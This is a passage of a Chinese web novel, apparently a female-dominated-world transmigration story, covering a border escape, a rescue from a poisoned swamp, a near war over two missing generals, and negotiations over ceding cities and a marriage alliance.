“我可以再养。我能感应到它的存在,也好让我知道你过得好不好,行吗?” 最终,陆锦澜无奈地点了点头。 * 不多时,蚩琴将蚩漠遥带来。蚩漠遥一身戎装,大约二十来岁,看起来颇为魁梧,脸上还有一道十几公分的伤疤。 见陆锦澜和蚩离还抱在一起,蚩琴皱了皱眉,催促道:“可以上路了,漠遥知道一条道,可以把你悄悄送出关,你快走吧。” 蚩离擦了擦脸上的泪痕,将念离装在竹笼里系在陆锦澜腰间,“走吧,赶路要紧,莫为我耽误了时辰。” 陆锦澜咬了咬牙,握住他的手,叮嘱道:“好,我先回去,你要好好保重自己。等着我,我一定会再回来接你。” 蚩离连连点头,“我等着你。” 蚩琴气道:“你不要再来了!” 陆锦澜一挥手,“你管不着!” 蚩漠遥一看这气氛都这样了,紧锁着眉头纠结地看向她娘,“那我还送不送她?” 蚩琴道:“送!赶紧把她送走,送得远远的,别让她再来!” 蚩漠遥无奈地叹了口气,“陆侯,请吧。” * 陆锦澜被迫和蚩离分开,心里很是不痛快。一路上一直沉默,直到二人走完旱路,换水路,一同划着船,心里的气总算渐渐压了下去。 陆锦澜见蚩漠遥始终沉默,这会儿便开口攀谈几句。 “这条水路能出关?” “能,从护城河上偷渡过去,就到你们嬅国地界了。” “不会被人发现?” “今晚在城楼上看守的人是我的结拜姐妹,我已经跟她打好招呼了。” “好,麻烦了。” “不用。” 呦?陆锦澜有点奇怪,她感觉蚩离蚩澄都挺外向热情的,怎么蚩漠遥这么冷酷?只答不问,一路冷着脸。 这长路漫漫,闷头划桨怪无聊的。陆锦澜便决定找个话题,打开话匣子。 “你脸上这道伤疤怎么弄的?” 蚩漠遥冷冷地看了她一眼,“跟你们嬅国交战的时候,伤的。” “……” 陆锦澜瞬间沉默,她怎么哪壶不开提哪壶?这还聊出仇来了。 “那个……不是我弄伤的吧?这……这两国交战,受伤在所难免。大家都不想的,你……你看开点。” 蚩漠遥淡然道:“不是你,是你那个使长刀的朋友。那天囚龙关外大战,姓晏的提着刀四处砍人,把我脸划了一下。” 陆锦澜尴尬道:“这事儿闹得,真是大水冲了龙王庙。咱们现在算亲戚,下回你跟她提我,她肯定不砍你。” 蚩漠遥点了点头,“没事,我不记仇。好歹捡了条命,而且我觉得这道疤也挺好看的,显得我更有女人味儿了。” “是是是,没错没错。”陆锦澜连声附和,暗叹:幸亏魅族人朴实,思路跟正常人不一样。换个别人,这会儿可能把她推河里了。 两人一路划到天黑,在月色掩护下,终于平安穿过了业州城。 陆锦澜告别了蚩漠遥,看了眼头顶高悬的明月,连忙加快脚步,一路狂奔回囚龙关。 还未到关下,迎面撞上一小队人马。 “陆侯?” 陆锦澜听着声音耳熟,忙问:“谁啊?” “我!” 暗处火把亮起,左隋之笑着带人迎上来。 左隋之喜道:“项将军说你今晚回来,我们分为七八个小队,四处迎你,竟然让我遇上了。” 陆锦澜松了口气,“是,总算回来了。我不在,这边没发生什么事吧?” 左隋之道:“没什么大事,就 是去往姜国的使团传回消息说,对方不同意给三个城池,她们打算降为两个城池了,还在和对方周旋。晏将军让她们继续拉扯着,等你回来再说。” 陆锦澜点了点头,“她俩呢?” 左隋之:“说去荒林那边接应你。” 陆锦澜脸色一变,猛然愣住,“我们商量的是我今晚不到,她们再去林子里找我,怎么提前进去了?” 左隋之不知道陆锦澜为何如此紧张,茫然地解释道:“她们听说那片林子有古怪,怕你中了机关,就提前摸进去了。” “糟了!那片林子最厉害的不是机关,是有毒!” 陆锦澜连忙将身上信件、包袱、武器通通丢给左隋之,从一个小兵手里抢过火把,“我去叫她们出来。你带人回去取防毒面罩,进去接应!” 陆锦澜夺过一匹马奔向荒林,来的路上还能看到林中似有火把攒动,这会儿怎么都不见了? 她一阵阵心慌,先吞了粒解毒丸,开始举着火把往林中去。 “如蓁!无辛!”茂密的树林,诡异的安静,连个动物声响都没有。 陆锦澜踩着厚厚的落叶,心急如焚地往里找,时不时含一颗解毒丸在嘴里。 但她也知道,这东西提前吃肯定没用。可关键问题是她也不知道毒在哪儿,陷阱在哪儿。 四周一点回应都没有,她们会不会中了陷阱?或者中了毒? 陆锦澜越想越冒冷汗,脚下的步伐越发加快。 猛一回头,终于瞥见一丝光亮。 陆锦澜大喊了一声:“无辛!如蓁!” 她朝着那光亮跑去,脚下传来咔一声异响,仿佛什么东西被它踩断了。 陆锦澜暗觉不好,本能的一跃而起,跳开仗余闪避,却在落地时感到脚下软烂如泥,身体更是像中了迷药一样失去力气。 她脑海中警铃大作,暗道不妙。这次,是真的糟了。 杂乱地脚步声快速传来,陆锦澜眼前模糊,连忙拼尽全力阻止道:“别过来!是毒烟!” 然而项如蓁她们赶来的方向,正是烟雾飘散的方向,项如蓁在最前面,屏住呼吸都来不及。 她只觉膝盖一软,跪在地上,忙对后面的人道:“快趴下!” 但是依然来不及,大家不同程度的吸入毒烟,都觉得浑身无力。 晏无辛在后面,勉强还能扶着树站立,急道:“你们怎样了?” 陆锦澜喘着粗气道:“我掉到了沼泽里,正在往下陷。我……我吸入毒烟太多,根本动不了,你们先撤出去。等隋之带人来,再想办法救我。” 淤泥此时已经漫过了陆锦澜的腰,解毒丸的药瓶刚刚还在她手里,现在早就不知道甩到哪去了。 她倒是意识还算清明,但是她现在兑换出解药,手动不了,也没有办法拿到嘴里了。 她感觉到自己一直往下坠,模糊中听到项如蓁让无辛回去拿绳子搬救兵。 陆锦澜感觉到自己下坠得飞快,应该来不及了。 难道天要亡我?不应该啊。 她用残存的意识去找系统客服要说法,然后人工客服此时并不在线。 只有机器人冷漠的回复她,「对不起,系统无法提供帮助。」 「废物系统,要你何用?我要差评,投诉你们……」 沼泽的淤泥已经吞到她胸口,陆锦澜感觉呼吸越来越困难。 迷蒙中,听见头顶在喊:“你坚持一下!” 如蓁的声音,这么大声,她哪来的力气?难道如蓁天生百毒不侵? 陆锦澜感觉到有温热的带着血腥味儿的液体掉在脸上,她猛然睁开眼,模糊的视线中见项如蓁将双脚绑在树上,倒挂在她的在头顶。 项如蓁嘴里叼着锋利的短刀,朝她伸出了手。 项如蓁脸上的汗混着血一同流下来,体内的毒让她的身体变得格外沉重。 每当她感到快要无力时,便往手臂上划一刀,用放血的方式,排出毒素,但鲜血和毒素一同外涌,这无异于寻死。 陆锦澜喉咙像是被什么堵住了,只能发出低吼:“项如蓁,你疯了?你会死的!” 项如蓁握住她的手,紧咬着冷刃,含糊的回答:“可我不能看着你死。” 陆锦澜想要用力握住她的手,但她真的一丝力气也没有,连挣脱她都做不到。 陆锦澜焦急道:“没用的,我死就死,不要买一送一了,快回去!” “不行,我要救你!至少……至少要拉住你,坚持到无辛回来!” 陆锦澜热泪翻涌,“来不及了,来不及……放手吧,不要做傻事了。我们好不容易闯出了名堂,两个大将军,死在沼泽里,让人笑话。” “我不在乎,笑吧,但我就是不能让你死在我面前。” 项如蓁说着握住匕首,又在手臂上划开一刀。滚烫鲜红的血液顺着交握的手臂流下去,连陆锦澜的衣衫都被染湿了。 项如蓁紧咬着牙关,拼尽全力,将陆锦澜从沼泽中提起两寸,可随即又跟着她一同坠下十数公分。 项如蓁无奈地松了口气,“你说得对,我确实是在做傻事。我救不了你了,我们一起死吧。” 陆锦澜看着手臂上一道道伤口,万般无奈,声音因哽咽而颤抖得不像话。 “你……你这是何苦?不值得,根本不值得。我有时候真想问问你,项如蓁,你脑子里到底在想什么?” 项如蓁苦笑道:“我也想问问你,带着墙皮的鸡汤,好喝吗?我刷碗的时候,看见了。” 项如蓁眼红如血,“陆锦澜,你为了维护我脆弱的自尊心,做那样的傻事。我为了你赔上性命,做点傻事,又算得了什么?” 陆锦澜气道:“那你也用不着为我死。” 项如蓁道:“你和无辛为了我做了太多的事,我一直想为你们做点儿什么。这次,就陪你在黄泉路上做个伴儿吧。” 陆锦澜急道:“我不要你做伴儿,雪卿怀孕了,你快要当娘了,你活着,代我照顾我的家眷,快止血吧!” 项如蓁摇了摇头,“来不及了,但没关系的,无辛会替我们照顾家眷。可惜我还没给孩子取名字,也不知道是女是男,叫什么好呢?” 握住她的手在渐渐变松,项如蓁意识已经开始消散了。 陆锦澜忙道:“如蓁,如蓁你别睡,我有重要的话跟你说。” “我跟你说,我不是这个世界的人,我真的有挂。” 项如蓁迷糊地应了 一声,“嗯,挂……能挂到树上吗?” 项如蓁口中的匕首脱落,整个人摇摇欲坠。 陆锦澜疯了一般的呼喊她,“如蓁!你等我一下,我给你看一条大蜈蚣。” 项如蓁没有力气回答,她只是在想:锦澜中毒太深,已经开始胡言乱语了。 项如蓁听见陆锦澜一直在神神叨叨的念叨:“对了!念离!念离念离,我的亲闺女,快爬出来……娘现在需要你,你快来咬我一口,我出去给你抓几条毒蛇吃……” 项如蓁想:这毒烟真厉害,还有致幻作用。 她喃喃道:“我想到了,孩子叫恨晚吧。” 陆锦澜似乎没有回应她,一直在说念离怎么怎么。项如蓁失去意识之前,还在好奇:念离,到底是谁啊? 赤蚣感受到召唤,从笼子里钻出去,奋力突破淤泥,嗅着鲜血的味道一路向上爬。 陆锦澜感觉到颈上被咬了一下,神智顿时清明了几分,她手上有了力气,立刻抓住项如蓁脱离了沼泽。 两人双双跌到在地上,陆锦澜连忙把念离放到项如蓁身上,“乖,先救你姨母。” 项如蓁失血过多,脸白如纸,陆锦澜颤抖着摸出止血药,整瓶倒入项如蓁的嘴里。 她自己尚未清除毒素,脱力地躺在项如蓁身边。 昏沉中,听到一阵脚步声。 陆锦澜想:我们应该得救了。 * 晏无辛带人赶到的时候,只看到掉落的匕首和一地的血。 晏无辛心里咯噔一下,“人呢?人呢!” 左隋之搀扶着她,忙道:“别着急,陆侯和项将军一定吉人天相,我现在就带人去找。掘地三尺,也要把她们找出来。” 晏无辛在沼泽边捡到了陆锦澜掉落的解毒丸,她知道那是陆锦澜的药,连忙吞服了一颗。 身体很快恢复如常,她盼着陆锦澜和项如蓁也吃了这药,可是……可是怎么会有这么多的血? 晏无辛看向那片沼泽,“把绳子给我,我下去看看。” 两侧的亲兵忙道:“您受了伤,我们下去吧。” 几个士兵连忙系上绳子,跳下沼泽。她们只捡到几块白森森的人骨,不知道死了多少年。 “晏将军,下面没有!” 晏无辛面色平静得可怕,她沉着脸跪在一旁,一言不发,没有人知道她在想什么。 不一会儿,左隋之也带人来回话,“林子里没有。” “怎么可能没有?”晏无辛冷声道:“把树都砍光,把林子烧了,我就不信找不到。” 孙乐闻道:“这里这么多血,按理说,她们一定有人受伤了,应该走不远,怎么会一点踪迹都没有?” 晏无辛点了点头,“有可能是有人把她们带走了。” 孙乐闻忙问:“除了我们,还能是谁?” 晏无辛摇了摇头,此时孔鸾带领的那支小队急匆匆回来复命,“启禀晏将军,我们一路往外找过去,在林边发现了这个!”—— 作者有话说:本章哭没了我半包纸,脑仁疼。今日的肥章是为了庆祝本文收获了第一个长评。邀请大家前往一章评论区欣赏满意老师的论文,日常感谢每一位读者对本文的喜爱和支持,我再去哭会儿。 第98章 她们捡到了一个头盔,看样式是姜国士兵的头盔。 晏无辛咬了咬牙,“好啊,咱们终于知道该找谁算账了。留一小队在这儿继续搜,其她人跟我回营,点兵!” * 夜里,姜国业州城的守军在城楼上发现荒林中亮起了许多火把,看起来有上百人,她们便上报给守将。 自从上次大战后,边境局势已经稳定下来。姜国人都知道那片老荒林邪门,进了人八成是有去无回,并不太在意。 业州守将徐娆柱也没当回事,只派几个人过去瞧一眼。 那几个小兵刚一进林子,就掉到一个捕兽坑里,里面一层白骨,也不知道是人的还是野兽的。 吓得大家赶紧把人拉上来,立马撒丫子往回跑。仓惶间有人跑丢了鞋,有人跑丢了头盔,狼狈极了。 回来后,几人如实禀报,徐娆柱骂了几句废物,也没再说什么。 她本来就不觉得这是个事儿,直到天蒙蒙亮,报信的士兵砰砰砰砸门。 “一大早急什么?报丧呢?”徐娆柱骂骂咧咧起身,骂道:“如果因为屁大点儿事,不让老娘睡觉,我非踹你两脚。说!什么事?天塌啦?” 属下脸色惨白,慌张道:“嬅军……嬅军兵临城下,要打……打我们。” 徐娆柱脑袋嗡一下,她匆匆登上城楼,只见城下黑压压一片。 四十万嬅军厉兵秣马,晏无辛穿着全套盔甲,手握凤鸣长刀,冷面如霜眼红如血,仿佛眨眼间就要冲杀过来。 徐娆柱腿有点儿抖,她扶着城墙,不得不先问上几句:“请问晏将军,发生了什么事?是不是有什么误会?咱们两国正在和谈,您为何突然兴兵攻打我业州城?” 晏无辛一夜未眠,两位挚友不知生死下落不明。 此刻,她双眼布满了红丝,满腔激愤,毫不客气地骂道:“少你爹的废话!把人交出来,不然我四十万大军立刻踏平业州城。” “交……交谁啊?” “装你爹呢?昨晚你是不是派人到荒林去了?陆侯和项将军,是不是在你手里?” 徐娆柱一听连连喊冤,“晏将军,我对天发誓,昨晚我方守军发现光亮,我只是派几个人到林子里去看一眼。” “她们摔了一跤就回来了,根本没看见陆侯和项将军,您别冤枉我们。” “您别忘了,你们嬅国的使团还在我姜国境内。您妄动干戈,不怕她们丢掉性命吗?” 她不说后面那句还好,晏无辛还能强压着急火,思考她说的是真是假。可她威胁的话一出口,晏无辛顿时跟火山喷发一样火冒三丈。 “我去你爹的,你还想吓唬老娘?旁人爱死不死,跟我有什么关系?你还有心思操心别人?我杀入城中,你也得死!” 徐娆柱恨不得抽自己两个大耳光,这嘴怎么这么欠? 昨晚非得让人去瞧那一眼干什么?刚才非说那一句做什么? 这人明显已经疯了,她真有可能不顾一切的开战。 徐娆柱忙道:“快!快去请嬅国来使!” 与此同时,北州牧于继芳听说晏无辛调动了四十万兵马要攻打业州,也吓破了胆。 快马赶到阵前,急得几乎从马上摔下来,连滚带爬地冲到晏无辛的马前,苦心劝道:“晏将军,莫要冲动!陆侯和项将军如果真在她们手里,可怎么办?” 晏无辛冷声道:“好办,她把人还给我,我立刻撤兵。她给我两具尸体,我立刻杀入业州城。” 于继芳急道:“晏将军,我理解您的心情,我听到两位大人失踪的消息也十分着急。可是,您不能不考虑后果啊!这打起来可怎么收场?如何向皇上交代?” 晏无辛漠然道:“锦澜和如蓁生死不明,我已无心考虑后果。若说交代,圣上震怒,大不了摘了我的脑袋。我已命相抵,如此而已。” 于继芳被她噎了回去,简直不知该说什么好。以往她和三人接触,这位小晏大人平日惯爱嬉笑玩闹,属她最好说话。 偏偏今日雌心似铁,又硬又冷,一个字都听不进去。 城上也劝,城下也劝,嬅国使团和姜国使团一块站在城楼上,数日来双方针锋相对锱铢必较,唯有此刻团结一致,都在劝说晏无辛不要开战。 徐娆柱更是快把嘴皮子磨破了,赌咒发愿,表示她真的没看到陆锦澜和项如蓁,二人绝对不在姜国。 于继芳抓着晏无辛战马上的缰绳前前后后地劝,“晏将军您再想想,陆侯和项将军若真有不测,谁来照顾她们的家眷?两大家子老老小小,您不能不管啊!” 城楼上的人扯着脖子喊:“晏将军,我们刚刚已经达成和谈了。姜国割三个城池给咱们,咱们不打了!咱们休兵三十年,快快撤军吧!” 任凭别人再怎么说,四十万大军,此刻只听晏无辛的号令。 晏无辛一言不发,大军便严阵以待,丝毫没有回城的意思。 蚩漠遥略知内情,实在忍不住对徐娆柱道:“将军,我和陆侯有些亲戚,或许我能劝劝晏将军。” 徐娆柱此刻病急乱投医,别说有亲戚,就说会巫术能退兵,她也愿意试试。 她连忙挥手,“快去快去,劝成了记你一功!” 蚩漠遥从侧门快马赶到阵前,“我昨晚见过陆侯,让我和晏将军当面说。” 左隋之把她带过去,蚩漠遥一时也不知怎么组织语言,前前后后的事儿有点难以启齿。 可到了这个节骨眼,她也只好尽量婉转地说道:“陆侯前几日身边带着的男人是我家长兄,但是我哥要回妻家,不能和她走。我娘就让我把陆侯一个人送回来。昨晚是我带她穿过业州城防,把她送到嬅国地界的。” “我哥之前已经告诉她,那林子危险,不能进去,不知她后来怎么又去了。” 晏无辛皱着眉,终于开口:“因为那时,我和如蓁在林子里。” 蚩漠遥“哦”了一声,“那应该是了,她之前还说要赶在月圆之夜回来,不然会有两个朋友去林子里找她。” “她还说,因为她和我哥的关系,我和她算是亲戚。见到你,可以提她的名字。” “总之……总之,我可以担保,她确实不在业州城。昨晚去探林的那几个人我都认识,她们没有带任何人回城。” 于继芳听她说前面那些话,还觉得莫名其妙。 什么男人?什么妻家?什么她娘她哥的?嫁了人的男人怎么和陆侯扯上关系了? 可她见晏无辛毫不怀疑,甚至微微点头,便知道有门儿。 于是于继芳也不管三七二十一了,顺势劝道:“你看,连这位亲戚都如此说,可见此事和业州城没有关系。晏将军,城上已经达成和谈了。先撤兵吧,咱们往别处去找。” 晏无辛愁眉不展,可人不在业州,还能在哪呢? 晏无辛无奈地叹了口气,“撤兵。” * 陆锦澜感觉到脸上一阵温热,睁开眼便听一个熟悉的声音道:“你醒了?吓死我了,你昏睡了一整天。” 陆锦澜眼前渐渐清晰,“萧衡?” 她诧异地看了眼四周陌生的陈设,“这是哪儿?” 萧衡忙道:“这是我们曲国的赤州城,你先别动,我给你擦擦脸。” 陆锦澜连连摇头,“如蓁呢?她在哪儿?我要去见她。” 她说着便要下床,一动忽然听到哗啦一声响。 陆锦澜看着手腕上的铁链,眉头一皱,“你这是什么意思?” 萧衡连忙解释道:“这不是我的意思,是皇姐她……她想留住你,跟你谈些事情,谈完了她会放了你的。” 萧衡说着压低了声音,悄声道:“你不要着急,给我点时间,有机会我一定把钥匙偷来,把你放了。至于项将军,你也不用担心,几位医师救治了好几个时辰,她已经没有性命之忧了。” “真的?” “真的,只不过她失血过多,还在昏迷着。皇姐派专门的人照顾她,一定不会让她有事的。” 陆锦澜想,萧承英既然要和她谈条件,就不会伤害项如蓁。 萧承英不是蠢人,一旦项如蓁在她手里出事,那她什么都别想谈,她应该清楚这点。 陆锦澜点了点头,重新躺回到床上,“那你派人通知她吧,我醒了,要谈什么现在谈。” * 萧承英匆匆赶来,一进门,见陆锦澜靠着棉被枕着手臂,老神在在地倚在那儿。 萧衡坐在床边的矮凳上,一勺一勺的给她喂燕窝粥。 要不是陆锦澜手腕上系着铁链,外人说不定以为她弟弟才是阶下囚。 萧承英咬着牙,一把将钥匙丢过去,“给她打开!别拿我们皇家人当仆人使唤。” 陆锦澜冷哼一声,“呦,皇储殿下不是要留我吗?给我打开锁链,不怕我跑吗?” 萧承英白了她一眼,“你那位朋友刚刚醒了。” 陆锦澜连忙坐了起来,“她怎么样?” 萧承英道:“还好都是皮外伤,不过流了太多的血,暂时还不能挪动。她问你怎么样,我说你好着呢,她就又晕过去了。我想,有项将军在这儿,你应该不会跑。” 陆锦澜没说话,脑海中迅速的分析。 现在如蓁伤成这样,最好是等她先养好身体,再从长计议。其实留在这儿,也没什么损失,陆锦澜确信,萧承英不敢伤害她们,也没有理由伤害她们。 陆锦澜反问:“我为什么要跑?听说你们曲国美食颇多,我便品鉴品鉴吧。” 萧承英微微一笑,“如此最好。十四弟,去要些酒菜来,我和陆侯边吃边聊。” 陆锦澜沐浴更衣,还不忘给缩到笼子里的念离投喂点食物。 桌上摆满美食美酒,望着窗外的曲国夜景,陆锦澜轻舒一口气,与萧承英碰了下杯,感慨道:“此番死里逃生属实不易,你得帮我一个忙,赶紧去囚龙关通知一声,说我们在这儿,免得那边担心。” 萧承英无奈道:“不瞒你说,本来我是想派人去通知一声,但你没看到晏将军那副架势。” 萧承英见惯了大场面,说起来也不免胆寒。 陆锦澜一愣,“什么架势?” 第99章 萧承英道:“她大约以为你们在姜国的业州,直接带着四十万大军杀到城下要人,差点打起来。” “啊?”陆锦澜吓了一跳。 “真的,听说两边的人都吓破了胆。姜国慌了,立刻答应割给你们嬅国三个城池。盟约已经签完了,就是在城楼上签的。” 萧承英说到这儿还有些后怕,“业州城明明没拿人,还差点被踏平。我要是告诉她人在我这儿,她还不立刻调转方向,来打赤州?” “我跟你说,这人真疯了。你和项将军不在,她成了老大。她手握重兵提着长刀杀红了眼,得谁跟谁来。” 陆锦澜握着酒杯低头浅笑,“她……她就是这个脾气,发起火来,任性得很。随心所欲,不管不顾。” 陆锦澜笑着摇了摇头,“不过你不用担心,她知道我们都没事,就不会任性了。衡郎,你去一趟囚龙关吧。” 陆锦澜说着解下腰间的玉佩,交给萧衡,“你拿着这个去见无辛,告诉她,我们都没事。我陪如蓁在这儿养伤,让她不要担心,别再发疯了。” 萧衡拿着玉佩立刻出城,连夜赶往囚龙关报信。 屋子里只剩下陆锦澜和萧承英,萧承英冷哼一声,“陆侯真是好本事啊,我这弟弟虽然是男儿家,也是从小被母皇捧在手心里长大的。遇到你,就这么床上床下的任凭你驱使。” 萧承英说到这里冷笑一声:“我们萧家人待你不薄,甚至可以说是掏心掏肺,可你对我们可不地道啊。” 陆锦澜瞥了她一眼,感觉要说到正题了。她笑了笑,“此话怎讲?” 萧承英冷声道:“囚龙关一役,你我结盟。是我带着曲国兵马率先冲锋,你我都是带兵之人,咱们都懂。打头阵的部队毫无疑问,一定是战役中伤亡最大的。” “那一仗,我曲国死伤了六千余人,比你手里的兵和宋家军加起来的伤亡还要大。我没向你诉一句苦,要一点补偿。” “可你呢?你竟然派人 来,要我们曲国割让脚下的赤州城,你不觉得你太过分了吗?” 陆锦澜叹了口气,沉痛道:“打仗不可能没有伤亡,这点我们都清楚。” “我很感谢你和曲国将士为我们发起首轮冲锋,我知道,你们伤亡比我们大,所以,战后缴获让你们拿大头。” “战俘也好,物资也好,只要你们曲军要,我们嬅军就让给你们。这话当时我没说,现在说出来不是讨好卖乖,故意哄你。” “你可以去打听打听,我的部队打扫战场是一绝。出了名的大包大揽,秋风扫落叶,破战车都会被拉回城里拆了当柴火烧,一丁点儿东西都不会放过。” “没有我的授意,你们能从她们手里抢走那么多战利品吗?” 萧承英一想,好像是这么回事儿。但她还是很不高兴,愤愤地看向窗外,不肯应声。 陆锦澜继续道:“至于要你割让城池,那的确不是人干的事儿。毕竟咱们当时已经结盟了嘛,哪有让盟友割地的?” 萧承英气道:“你知道你还干?” 陆锦澜一摊手,“这他爹的就不是我要干的事,这是皇上下的命令,我身为臣子,总不能抗旨吧?我知道你委屈,可我也有我的苦衷。你不能一生气,就全怪我,你该来找我,我帮你想辙。” “你?哼!”萧承英瞪了她一眼,“找你你避而不见,你还怪我?” 陆锦澜忙道:“那我那段日子确实很忙,而且那会儿我还没主意呢。我就知道你不肯给,便让使团这边不要催逼,她们几个人只是在你这儿吃住一段日子,不值得你如此动怒吧?” 萧承英稍微缓和了面色,“那倒是,她们还算客气。你这么说,你现在是有主意了?” 陆锦澜点头,“有了。” 萧承英倾身上前,“说来听听。” 陆锦澜:“首先,你把赤州城割给嬅国。” 萧承英啪一拍桌子,“休想!” 陆锦澜啧了一声,“你看你又急,你这什么脾气啊?皇储殿下,你先听我把话说完。你把赤州城给嬅国,我就能跟我朝皇帝交差了。” 萧承英绷着脸,“为了让你交差,我就要损失一个城池?” 陆锦澜笑了笑,“失之东隅收之桑榆,有舍就有得。我不可能顾着自己占便宜,只给你亏吃吧?你记不记得当初劝你结盟的时候,我怎么许诺的?我说打赢之后,我跟姜国要两个城池,给你一个。” 萧承英一怔,“什……什么意思?” 陆锦澜笑道:“旁边那座业州城可比你这赤州城大了一倍,你把赤州给我,我把业州给你。这比买卖你血赚不亏,没错吧?” 萧承英万万想不到事情会突然来到这个走向,陆锦澜之前的确说过要给她一个城池。 可那晚结盟是形势所迫,就算陆锦澜不提给她城池的事儿,她也没有别的选择。 何况,按照她对陆锦澜的了解,这种许诺肯定是要赖掉的,所以她从来就没把这个许诺当真。 此刻,萧承英用充满怀疑的目光看着陆锦澜,“你能做主?” 陆锦澜笃定道:“当然能,实话跟你说,我朝皇帝原本只打算从你们两国各要一个城池。你也要理解她,毕竟仗打了这么久,终于打赢了,要对朝野上下得有个交代。” “你们割城,对皇上来说是能载入史册彪炳千秋的美事。她想要你们两国割地,也是人之常情。” “她想要的,我都帮她拿到了。甚至还有多出来的,给你一个城池,她会同意的。” 萧承英皱起了眉,“为什么?” 陆锦澜道:“这不是明摆着的吗?她要两国各割一城,我本来想要姜国割两城,匀你一城。无辛这一闹,姜国竟然同意割三城,变成了两国割四城。” “我匀给你一个业州,还是两国割三城,皇帝怎么会不满意?” 萧承英摇了摇头,“我是说你,为什么要这么做?其实你可以不给我,我除了恨你,也不能把你怎么样。” 陆锦澜一笑,“这就是我喜欢皇储殿下的原因,你总是直言不讳。” “哎,我总说世人误解我。其实我说这话的时候,常常是在狡辩,世人觉得我是个好色之徒这点,是没错的。但平心而论,世人的确有误解我的地方。” “大家都以为我陆锦澜年少成名便不可一世,以为我争名逐利好大喜功,以为我将所有人都不放在眼里,以为我为了自己的利益可以不择手段。” “其实,她们误会了。我虽非善类,也常有不择手段的时候,但我心里其实装着很多人,包括天下百姓。” 她抬眸看向萧承英,“你刚才说,你只是会恨我。我知道,所以我不想你恨我。” “我是个重感情的人,所以我从来不蔑视爱恨情仇。我很清楚,那些看不见摸不着的不起眼的情绪,足够驱使一个人,做出惊天动地的大事。” “于公,我不想埋下仇恨的种子。兴亡都是百姓苦,死伤的将士已经够多了,我不希望以后再起战端。” “于私,我不想对不起你。你这个人,没有我讨厌的地方。我逼过你一次,那次是情非得已。可这次,我不想逼你。否则,于情于理,都说不过去。” “很多人觉得我这人太过自私,总是赢,总是占尽了便宜,出尽了风头。好像我要什么,就得到什么,得志又猖狂。那些斗不过我的人,大概都在背后骂我:切,小人得志。” “可我告诉你,尽管我不是一个心慈手软的人,却也极少做赶尽杀绝的事。我喝酒吃肉,至少会给别人一碗汤,何必非要赶人入穷巷?” “我尊重战场上的每一个对手,我绝不会凝视着她们痛苦的眼睛,得意洋洋沾沾自喜地庆祝我大获全胜,我不是七八岁的小孩子。” “身为一个将领,在一场战争结束后,我首先想到的是如何抚恤那些牺牲的将士家属,以及如何对得起与我并肩作战的盟友。” 她望向萧承英,“目前为止,我没有对不起你,是吧?” 萧承英木然地点头,“当然,当然。” 萧承英内心处于一种极大的震撼之中,让她长久缄默。 片刻后,她提起酒壶,给陆锦澜的杯中斟满了酒。 “真奇怪,其实我们也没打多少交道。可我每次见你,和你谈话,都像是重新认识你一次。可认识了,又觉得还不够,你像一本厚重又复杂的书,我看不完也看不透,带给我太多的震撼。” 萧承英举起酒杯,“我上次好像说过,我佩服你。可我上次那么说,是因为你比我强,谋略、胆识、手段,通通在我之上,我不得不屈服。” “但我现在是真的敬佩你,你让我心悦诚服五体投地,我敬你。” 萧承英一饮而尽,眼中忽而变得坚定,忽道:“依我看,你当个臣子委屈了。” 陆锦澜笑了笑,“我没觉得,我要钱有钱要权有权,有两个生死之交,有美色在怀,左拥右抱。人人都羡慕我,连我都羡慕我自己。这般逍遥日子,有什么可委屈的?” 萧承英眼含笑意,低声道:“你就不想更进一步?” 陆锦澜一愣,“什么意思?你要我造反?你好趁虚而入?” 萧承英道:“我要是你,我就造反。但你不想造反,你就留在曲国吧。你在嬅国,再怎么风光,也得在一人之下。” 陆锦澜笑出声,“这话说的,难道在曲国不是?你能让我当皇上?” 萧承英道:“差不多,等我登上皇位,与你共掌天下,咱俩平起平坐,如何?” 陆锦澜怔了一下,她还真没料到萧承英会有这种想法。有那么一瞬间,心动了一下。 但她仔细想想,还是摇了摇头,出言拒绝。 “感谢皇储殿下的抬爱,但我犯不上。我一个嬅国人,撇家舍业的跑到曲国来励精图治,好像有点毛病。算了吧,不过你能有这种想法,说明你看得起我,我很荣幸。” 萧承英劝了一会儿,可以说是待遇优厚条件好,随便她提任何要求。可陆锦澜十分坚持,萧承英只好退而求其次。 “好吧,你既然不肯留在曲国,那你便和十四弟成婚。你给他留下一个孩子,以后我传位给你女儿。” 陆锦澜又一愣,疑惑地笑了一下,“你这就是胡说了吧?你的皇位,当然传给你自己的孩子,就算我和萧衡生了女儿,也轮不到我们的孩子坐皇位啊。” 萧承英抿了抿唇,“十四弟没和你说吗?我没成婚,也没孩子。” 陆锦澜道:“你身为皇储,眼光高很正常。但你这么年轻,这曲国都是你的,选几个男人给你生女育男,还不是轻而易举的事?” 萧承英摇了摇头,眼底意味深长,“我很喜欢权力,因为一旦拥有了至高无上的权力,就没有人能勉强我去做任何我不想做的事。我不想成婚,更不想让哪个男人生下我的孩子。” 陆锦澜有点懵,在这个世界不婚不育,这想法也太罕见了。在女尊世界,婚育对于女性来说,没有任何损失。她一时想不明白,萧承英排斥婚育的点是什么。 尤其她身份特殊,她是皇储,家里真的有皇位需要继承。 萧承英见她一脸茫然,勾了勾嘴角,“想不通吧?这世上终于有一件事,是能够难住你陆锦澜,让你想不通。” 陆锦澜沉思片刻,依然百思不得其解。她拱了拱手,“请指教。” 萧承英凑近些许,在她耳边低声道:“因为,我不喜欢男人。” 陆锦澜恍然大悟,微微点了点头,尽量表现得平静如常。 萧承英凤眸含笑,看着她淡然的神情,笑着问:“你喜欢男人?” 陆锦澜已经被一连串出乎意料的事情搞得迷迷糊糊,这会儿不禁皱眉反问道:“全天下都知道我喜欢男人,这件事还需要怀疑吗?” 萧承英淡然一笑,“我就是确认一下。” 陆锦澜警惕地拉开距离,脑子有些乱。 萧承英道:“那你和十四弟成婚吧,生下女儿过继给我,只要我登上皇位,便立即封她为皇储。” “你们还是孩子的母父,等我殡天之后,你们的孩子当了皇帝,她想做什么都行,让位给你,也只是你们母女间的事儿。” “陆侯,意下如何?” 陆锦澜:“你等会儿,我脑子有点乱。” 第100章 陆锦澜一时间想不出理由拒绝,感觉这是件好事,但来得突然,让她觉得有点怪。 陆锦澜知道,萧承英这是相中她的基因了。 陆锦澜要给她一个城池,萧承英一时过于兴奋,头脑发热,觉得陆锦澜这个人好得不得了。 她坚信陆锦澜和她萧家人生出的孩子,一定能遗传陆锦澜的种种优点,将来提领江山,定能成为一代英主。 可遗传这事儿,陆锦澜自己心里都没底。 遗传是门玄学,秦始皇雄才大略统一六国,打下那么大的基业,秦二世上去就给霍霍没了。 现在孩子还没有呢,谁能保证她能长成什么样? 